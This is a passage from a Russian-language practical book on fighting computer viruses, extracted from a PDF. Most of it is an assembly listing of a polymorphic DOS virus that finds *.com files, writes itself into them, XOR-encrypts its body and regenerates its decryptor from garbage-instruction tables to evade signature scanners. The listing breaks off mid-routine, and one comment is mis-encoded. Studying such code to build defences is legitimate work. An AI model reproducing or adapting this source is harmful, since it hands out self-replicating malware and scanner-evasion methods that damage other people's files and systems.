Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfDOS вирусы |
101 |
|
|
расшифровщика, но это по-прежнему не позволит обмануть хорошие сигнатурные сканеры, которым нужно только лишь пропускать мусорные команды. Это откроет им глаза на настоящий расшифровщик.
В качественном полиморфном вирусе помимо генератора мусора должны также присутствовать логические мутации. Посмотрите на идущие ниже команды: все они выполняют одно и то же действие — помещают в регистр dx число 100h:
;----------------------------------------------
mov dx,100h
mov ax,100h xchg ax,dx
mov bx,100h push bx
pop dx
mov cx,0ffh xor dx,dx add dx,cx inc dx
............
;----------------------------------------------
Данные команды, по сути, выполняют одно и то же, а по виду они абсолютно различны. Помимо такого рода мутаций в полиморфном вирусе должны присутствовать ложные вызовы процедур, антиотладочные трюки и антиэвристика.
Существуют несколько способов реализации данного вида полиморфизма. Рассмотрим более простой для понимания блочный полиморфизм. Он заключа- ется в том, что существуют уже готовые заготовки отдельных инструкций расшифровщика.
Перейдем к листингу:
;---------------------------------------------- |
|
|
|
code |
segment |
|
; |
assume |
cs:code,ds:code |
; |
|
|
org |
100h |
; |
|
.286 |
|
; Этот режим необходим для того, чтобы можно было |
|
|
|
; использовать инструкции типа push [число]. |
main: |
|
|
|
;---------------------------------------------- |
|
|
|
mut1: |
|
|
|
|
sti |
|
; !!!! |
|
call |
encrypt_decrypt |
; Вызов процедуры шифрования |
|
nop |
|
; !!! |
;---------------------------------------------- |
|
|
|
mut2: |
|
|
|
|
lahf |
|
; !!!! |
|
jmp |
random_mutation |
; Начало работы вируса |
|
stc |
|
; !!!! |
;----------------------------------------------
102 |
|
DOS вирусы |
|
|
|
infect_file: |
|
; Процедура инфицирования |
mut3: |
|
|
mov |
dx,100h |
; dx указывает на начало кода |
push |
bx |
; Сохраняем bx в стеке |
stc |
|
; !!!! |
;---------------------------------------------- |
|
|
mut4: |
|
|
nop |
|
; !!!! |
call |
encrypt_decrypt |
; Вызов процедуры шифрования |
cmc |
|
; !!!! |
;---------------------------------------------- |
|
|
mut5: |
|
|
clc |
|
; !!!! |
pop |
bx |
; Восстановим из стека bx |
lahf |
|
; !!!! |
mov |
ah,40h |
; DOS-функция записи в файл |
;---------------------------------------------- |
|
|
mut6: |
|
|
nop |
|
; !!!! |
int |
21h |
; Пишем вирусный код в файл |
dec |
bp |
; !!!! |
dec |
bp |
; !!!! |
;---------------------------------------------- |
|
|
mut7: |
|
|
nop |
|
; !!!! |
stc |
|
; !!!! |
call |
encrypt_decrypt |
; Расшифровка кода |
;---------------------------------------------- |
|
|
mut8: |
|
|
cmc |
|
; !!!! |
mov |
ax,3fh |
; !!!! |
ret |
|
; Возврат из процедуры инфицирования |
;---------------------------------------------- |
|
|
encrypt_decrypt: |
|
; Процедура шифровки/расшифровки |
mut9: |
|
|
mov |
bx,offset virus_code |
; С какого места начинаем шифровать код |
lahf |
|
; !!!! |
stc |
|
; !!!! |
;---------------------------------------------- |
|
|
xor_loop: |
|
; Здесь начинается цикл |
mut10: |
|
|
nop |
|
; !!!! |
mov |
ah,[bx] |
; Берем текущий байт и кладем в ah |
stc |
|
; !!!! |
cmc |
|
; !!!! |
;---------------------------------------------- |
|
|
mut11: |
|
|
xor |
ah,encrypt_val |
; Преобразовываем его операцией XOR |
sti |
|
; !!!! |
;---------------------------------------------- |
|
|
mut12: |
|
|
clc |
|
; !!!! |
cmc |
|
; !!!! |
DOS вирусы |
|
103 |
|
|
|
mov |
[bx],ah |
; Возвращаем байт на прежнее место |
sti |
|
; !!!! |
;---------------------------------------------- |
|
|
mut13: |
|
|
nop |
|
; !!!! |
nop |
|
; !!!! |
inc |
bx |
; Переходим к следующему байту |
stc |
|
; !!!! |
clc |
|
; !!!! |
;---------------------------------------------- |
|
|
mut14: |
|
|
sahf |
|
; !!!! |
cmp |
bx,offset virus_code+virus_size ; Мы все байты зашифровали? |
|
;---------------------------------------------- |
|
|
mut15: |
|
|
lahf |
|
; !!!! |
jle |
xor_loop |
; Если нет, то шифруем до конца |
nop |
|
; !!!! |
sti |
|
; !!!! |
;---------------------------------------------- |
|
|
mut16: |
|
|
stc |
|
; !!!! |
clc |
|
; !!!! |
cli |
|
; !!!! |
sti |
|
; !!!! |
ret |
|
; Возврат из шифрующей процедуры |
;---------------------------------------------- |
|
|
encrypt_val db 00h |
; Ключ шифрования |
|
virus_size equ 588 |
; Размер вируса |
|
;---------------------------------------------- |
|
|
virus_code: |
|
; С этой метки шифруется код |
random_mutation: |
|
; |
call |
polym |
; Вызов процедуры мутации нешифрованной части |
|
|
; вируса |
mov |
ah,2ch |
; Возьмем по таймеру значение |
int |
21h |
|
mov |
encrypt_val,dl |
; Присвоим это случайное значение ключу |
find_com: |
|
|
xor |
cx,cx |
|
lea |
dx,fmask |
; Найдем файл по маске *.com |
mov |
ah,4eh |
; |
int |
21h |
|
jnc |
healthy |
|
continue_search: |
|
|
mov |
ah,4fh |
; Ищем следующий файл |
int |
21h |
; |
jc exit_virus |
; Если больше нет файлов, то идем на выход |
|
healthy: |
|
|
mov |
ax,3d02h |
; Откроем файл |
mov |
dx,09eh |
|
104 |
|
DOS вирусы |
|
|
|
int |
21h |
|
mov |
handle,ax |
; Сохраним хэндл файла в переменную |
xchg |
ax,bx |
; Поместим хэндл файла в bx |
mov |
cx,virus_size |
; В cx поместим размер вируса |
call |
infect_file |
; Заразим файл |
call |
close_file |
; Закроем его |
jmp |
short continue_search |
; Перейдем к следующей жертве |
ret |
|
|
close_file: |
|
|
mov |
bx,handle |
; Восстановим хэндл файла |
mov |
ah,3eh |
; Затем закроем файл |
int |
21h |
|
exit_virus: |
|
|
ret |
|
; Конец программы |
;---------------------------------------------- |
||
polym: |
|
|
call |
musor |
; Вызов процедуры, генерирующей мусорные команды |
call |
random |
; Вызов основной процедуры мутации |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
||
random: |
|
|
mov |
di,100h |
; Мутации начинать с начала вирусного кода |
mov |
dx,0 |
; Счетчик мутаций |
ran: |
|
|
in |
ax,40h |
; Получаем случайное число в ax |
and |
ax,3 |
; Ограничиваем его диапазоном 0-3 |
mul |
ch1 |
; Умножаем на 5 размер одного блока |
xchg |
ax,si |
; Помещаем в si полученное число |
mov |
ax,dx |
; В ax помещаем номер мутируемого блока |
mul |
ch2 |
; Умножаем на 20 - кол-во байт в 4-х блоках |
add |
si,offset garbage1 |
; Добавляем к si смещение на таблицу блоков |
add |
si,ax |
; Добавляем ax, который указывает на один из блоков |
mov |
cx,5 |
; В cx помещается 5 - кол-во байт для перемещения |
rep |
movsb |
; Уже готовый разбавленный мусорными командами блок |
|
|
; Помещается в нешифрованную часть вируса |
inc |
dx |
; Переходим к следующему блоку |
cmp |
dx,15 |
; Пока все 16 блоков не мутировали |
jle |
ran |
; Продолжаем мутации |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
||
garbage1: |
|
; Таблица блоков. Один из четырех формирует |
|
|
; инструкцию расшифровщика |
db 90h db 90h
db 0e8h,23h,00h ;=======================================
db 90h
db 0e8h,24h,00h
DOS вирусы |
105 |
|
|
db 90h ;=======================================
db 0e8h,25h,00h db 90h
db 90h ;=======================================
db 90h
db 0e8h,24h,00h db 90h
;=======================================
garbage2:
db 90h db 90h db 90h
db 0ebh,47h ;=======================================
db 0ebh,4ah db 90h
db 90h db 90h
;======================================= db 90h
db 90h
db 0ebh,48h db 90h
;======================================= db 90h
db 0ebh,49h db 90h
db 90h ;======================================= garbage3:
db 90h push bx
mov dx,100h ;=======================================
push bx db 90h
mov dx,100h ;=======================================
push bx push 100h pop dx
;======================================= mov dx,100h
db 90h push bx
;=======================================
garbage4:
db 90h db 90h
db 0e8h,14h,00h ;=======================================
106 |
DOS вирусы |
|
|
db 90h |
|
db 0e8h,15h,00h |
|
db 90h |
|
;======================================= |
|
db 0e8h,16h,00h |
|
db 90h |
|
db 90h |
|
;======================================= |
|
db 90h |
|
db 0e8h,15h,00h |
|
db 90h |
|
;======================================= |
|
garbage5: |
|
pop bx |
|
mov ah,3fh |
|
inc ah |
|
;======================================= |
|
pop ax |
|
xchg ax,bx |
|
mov ah,40h |
|
int 3h |
|
;======================================= |
|
mov ah,41h |
|
pop bx |
|
dec ah |
|
;======================================== |
|
mov ah,40h |
|
int 1h |
|
pop bx |
|
;======================================== |
|
garbage6: |
|
db 90h |
|
db 90h |
|
db 90h |
|
int 21h |
|
;======================================== |
|
int 21h |
|
db 90h |
|
db 90h |
|
db 90h |
|
;======================================== |
|
db 90h |
|
int 21h |
|
db 90h |
|
db 90h |
|
;======================================== |
|
db 90h |
|
int 21h |
|
db 90h |
|
db 90h |
|
;======================================== |
|
garbage7: |
|
db 90h |
|
db 90h |
|
DOS вирусы |
107 |
|
|
db 0e8h,05h,00h ;========================================
db 90h
db 0e8h,06h,00h db 90h
;========================================= db 0e8h,07h,00h
db 90h db 90h
;========================================= db 90h
db 0e8h,06h,00h db 90h
;=========================================
garbage8:
db 90h db 90h db 90h ret
db 90h ;=========================================
db 90h pop bx jmp bx db 90h
;========================================= db 90h
ret
db 90h db 90h db 90h
;========================================= pop ax
jmp ax db 90h db 90h
;=========================================
garbage9:
db 90h
db 0bbh,51h,01h db 90h
;========================================= db 90h
db 90h
db 0bbh,51h,01h ;=========================================
db 90h
mov bh,01h mov bl,51h
;========================================= mov bl,51h
mov bh,01h db 90h
;=========================================
108 |
DOS вирусы |
|
|
garbage10:
db 90h
mov ah,[bx] db 90h
db 90h ;==========================================
mov ah,[bx] db 90h
db 90h db 90h
;========================================== db 90h
db 90h
mov ah,[bx] db 90h
;========================================== db 90h
db 90h db 90h
mov ah,[bx] ;========================================== garbage11:
db 90h
xor ah,encrypt_val ;==========================================
xor ah,encrypt_val db 90h
;========================================== db 90h
xor ah,encrypt_val ;==========================================
xor ah,encrypt_val db 90h
;==========================================
garbage12:
mov [bx],ah db 90h
db 90h db 90h
;========================================== db 90h
mov [bx],ah db 90h
db 90h ;===========================================
db 90h db 90h
mov [bx],ah db 90h
;=========================================== db 90h
db 90h db 90h
mov [bx],ah
DOS вирусы |
109 |
|
|
;===========================================
garbage13:
inc bx db 90h db 90h db 90h db 90h
;============================================ db 90h
inc bx db 90h db 90h db 90h
;============================================ db 90h
db 90h inc bx db 90h db 90h
;============================================ db 90h
db 90h db 90h db 90h inc bx
;============================================
garbage14:
db 90h
cmp bx,offset virus_code+virus_size ;============================================
cmp bx,offset virus_code+virus_size db 90h
;============================================ db 90h
cmp bx,offset virus_code+virus_size ;============================================
cmp bx,offset virus_code+virus_size db 90h
;============================================
garbage15:
db 7eh,0e5h db 90h
db 90h db 90h
;============================================ db 90h
db 7eh,0e4h db 90h
db 90h ;=============================================
db 90h db 90h
db 7eh,0e3h db 90h
110 |
DOS вирусы |
|
|
;============================================= |
|
db |
90h |
db |
90h |
db |
90h |
db 7eh,0e2h |
|
;============================================= |
|
garbage16: |
|
db 90h |
|
db 90h |
|
db 90h |
|
ret |
|
db 90h |
|
;============================================= |
|
db 90h |
|
pop bx |
|
jmp bx |
|
db 90h |
|
;============================================= |
|
db 90h |
|
ret |
|
db 90h |
|
db 90h |
|
db 90h |
|
;============================================= |
|
pop ax |
|
jmp ax |
|
db 90h |
|
db 90h |
|
;---------------------------------------------- |
|
musor: |
; Процедура мутации мусорных команд в блоках |
lea si,garbage1 |
; В si загружается начало таблицы блоков |
mov di,si |
; Â di òî æå |
mov cx,musor-garbage1 |
; В cx кол-во байт для обработки, у нас вся таблица |
call generator |
; Вызываем процедуру генерации мусорных байт |
ret |
; Возврат из процедуры |
;---------------------------------------------- |
|
generator: |
; Процедура генерации мусорных байт |
lodsb |
; Загружаем в al текущий байт |
cmp al,90h |
; Если текущий байт nop, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0f8h |
; Если текущий байт clc, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0f9h |
; Если текущий байт stc, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0f5h |
; Если текущий байт cmc, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0fch |
; Если текущий байт cld, |
je preob |
; То преобразуем его по случайному закону |
cmp al,0fah |
; Если текущий байт cli, |
je preob |
; То преобразуем его по случайному закону |
jmp end_preob |
; Если это не мусорный байт, то не преобразовывать его |
preob: |
|
call random2 |
; Процедура преобразования байта |
